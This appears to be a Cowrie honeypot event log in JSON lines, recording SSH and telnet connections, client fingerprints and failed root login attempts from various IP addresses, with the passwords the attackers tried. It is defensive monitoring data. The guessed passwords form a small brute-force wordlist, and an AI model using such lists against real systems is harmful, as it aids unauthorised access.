{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40580,"dst_ip":"159.203.135.109","dst_port":22,"session":"437e4f7fd341","protocol":"ssh","message":"New connection: 103.153.68.219:40580 (159.203.135.109:22) [session: 437e4f7fd341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:36.263467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:36.267486Z","src_ip":"103.153.68.219","session":"437e4f7fd341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:36.523609Z","src_ip":"103.153.68.219","session":"437e4f7fd341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arman123","message":"login attempt [root/arman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:37.290196Z","src_ip":"103.153.68.219","session":"437e4f7fd341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:38.547173Z","src_ip":"103.153.68.219","session":"437e4f7fd341","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":58870,"dst_ip":"159.203.135.109","dst_port":22,"session":"693bee50e960","protocol":"ssh","message":"New connection: 94.159.110.201:58870 (159.203.135.109:22) [session: 693bee50e960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:43.492538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:43.496467Z","src_ip":"94.159.110.201","session":"693bee50e960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:43.614347Z","src_ip":"94.159.110.201","session":"693bee50e960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"030386","message":"login attempt [root/030386] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:43.972856Z","src_ip":"94.159.110.201","session":"693bee50e960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:45.093159Z","src_ip":"94.159.110.201","session":"693bee50e960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.39050555229187,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:45.780780Z","src_ip":"128.199.8.54","session":"134aefc22f4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58294,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb9ce4edb8a1","protocol":"telnet","message":"New connection: 128.199.8.54:58294 (159.203.135.109:23) [session: bb9ce4edb8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:46.955684Z"}
{"eventid":"cowrie.session.closed","duration":0.003814697265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:48:46.959406Z","src_ip":"128.199.8.54","session":"bb9ce4edb8a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00219631195068,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:02.758614Z","src_ip":"128.199.8.54","session":"0f4a2c0492cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52388,"dst_ip":"159.203.135.109","dst_port":23,"session":"0be2473bf67f","protocol":"telnet","message":"New connection: 128.199.8.54:52388 (159.203.135.109:23) [session: 0be2473bf67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:13.223763Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":40212,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd0e48796ef2","protocol":"ssh","message":"New connection: 27.71.230.31:40212 (159.203.135.109:22) [session: fd0e48796ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:20.540134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:20.584747Z","src_ip":"27.71.230.31","session":"fd0e48796ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:21.966584Z","src_ip":"27.71.230.31","session":"fd0e48796ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.993736028671265,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:23.217376Z","src_ip":"128.199.8.54","session":"0be2473bf67f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@12","message":"login attempt [root/admin@12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:24.768285Z","src_ip":"27.71.230.31","session":"fd0e48796ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:26.217011Z","src_ip":"27.71.230.31","session":"fd0e48796ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33292,"dst_ip":"10.17.0.5","dst_port":22,"session":"795a7d4e15eb","protocol":"ssh","message":"New connection: 103.82.132.16:33292 (10.17.0.5:22) [session: 795a7d4e15eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:40.928112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:40.931874Z","src_ip":"103.82.132.16","session":"795a7d4e15eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:41.181799Z","src_ip":"103.82.132.16","session":"795a7d4e15eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250881","message":"login attempt [root/250881] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:41.918471Z","src_ip":"103.82.132.16","session":"795a7d4e15eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:49:43.169501Z","src_ip":"103.82.132.16","session":"795a7d4e15eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":60046,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4ab5b4df6fc","protocol":"telnet","message":"New connection: 128.199.8.54:60046 (159.203.135.109:23) [session: c4ab5b4df6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:50:36.799528Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35514,"dst_ip":"159.203.135.109","dst_port":23,"session":"e01e7d7cd6d6","protocol":"telnet","message":"New connection: 128.199.8.54:35514 (159.203.135.109:23) [session: e01e7d7cd6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:50:39.015847Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50760,"dst_ip":"159.203.135.109","dst_port":23,"session":"378fad68f1d9","protocol":"telnet","message":"New connection: 128.199.8.54:50760 (159.203.135.109:23) [session: 378fad68f1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:00.305993Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":60018,"dst_ip":"10.17.0.5","dst_port":22,"session":"16561443a123","protocol":"ssh","message":"New connection: 51.250.105.222:60018 (10.17.0.5:22) [session: 16561443a123]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:11.358704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:11.362840Z","src_ip":"51.250.105.222","session":"16561443a123","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:11.492582Z","src_ip":"51.250.105.222","session":"16561443a123","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:11.883290Z","src_ip":"51.250.105.222","session":"16561443a123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:13.015148Z","src_ip":"51.250.105.222","session":"16561443a123","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.986568450927734,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:15.785954Z","src_ip":"128.199.8.54","session":"c4ab5b4df6fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.85906982421875,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:36.874792Z","src_ip":"128.199.8.54","session":"e01e7d7cd6d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":41824,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd5b4b157c0e","protocol":"telnet","message":"New connection: 172.81.62.90:41824 (159.203.135.109:23) [session: dd5b4b157c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:45.291083Z"}
{"eventid":"cowrie.session.closed","duration":57.1391704082489,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:51:57.445004Z","src_ip":"128.199.8.54","session":"378fad68f1d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":56518,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc09495ccfd","protocol":"telnet","message":"New connection: 172.81.62.90:56518 (159.203.135.109:23) [session: 2fc09495ccfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:52:21.118016Z"}
{"eventid":"cowrie.session.closed","duration":38.5923912525177,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:52:23.883323Z","src_ip":"172.81.62.90","session":"dd5b4b157c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.66827893257141,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:52:58.786172Z","src_ip":"172.81.62.90","session":"2fc09495ccfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50730,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e4ea6cb63e","protocol":"ssh","message":"New connection: 103.27.238.116:50730 (159.203.135.109:22) [session: 88e4ea6cb63e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:04.485401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:04.489166Z","src_ip":"103.27.238.116","session":"88e4ea6cb63e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:04.751956Z","src_ip":"103.27.238.116","session":"88e4ea6cb63e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm8","message":"login attempt [root/zxcvbnm8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:05.542161Z","src_ip":"103.27.238.116","session":"88e4ea6cb63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:06.807250Z","src_ip":"103.27.238.116","session":"88e4ea6cb63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":38746,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fa137e59f65","protocol":"ssh","message":"New connection: 176.32.39.21:38746 (10.17.0.5:22) [session: 5fa137e59f65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:10.995921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:10.999939Z","src_ip":"176.32.39.21","session":"5fa137e59f65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:53:11.126671Z","src_ip":"176.32.39.21","session":"5fa137e59f65","protocol":"ssh"}
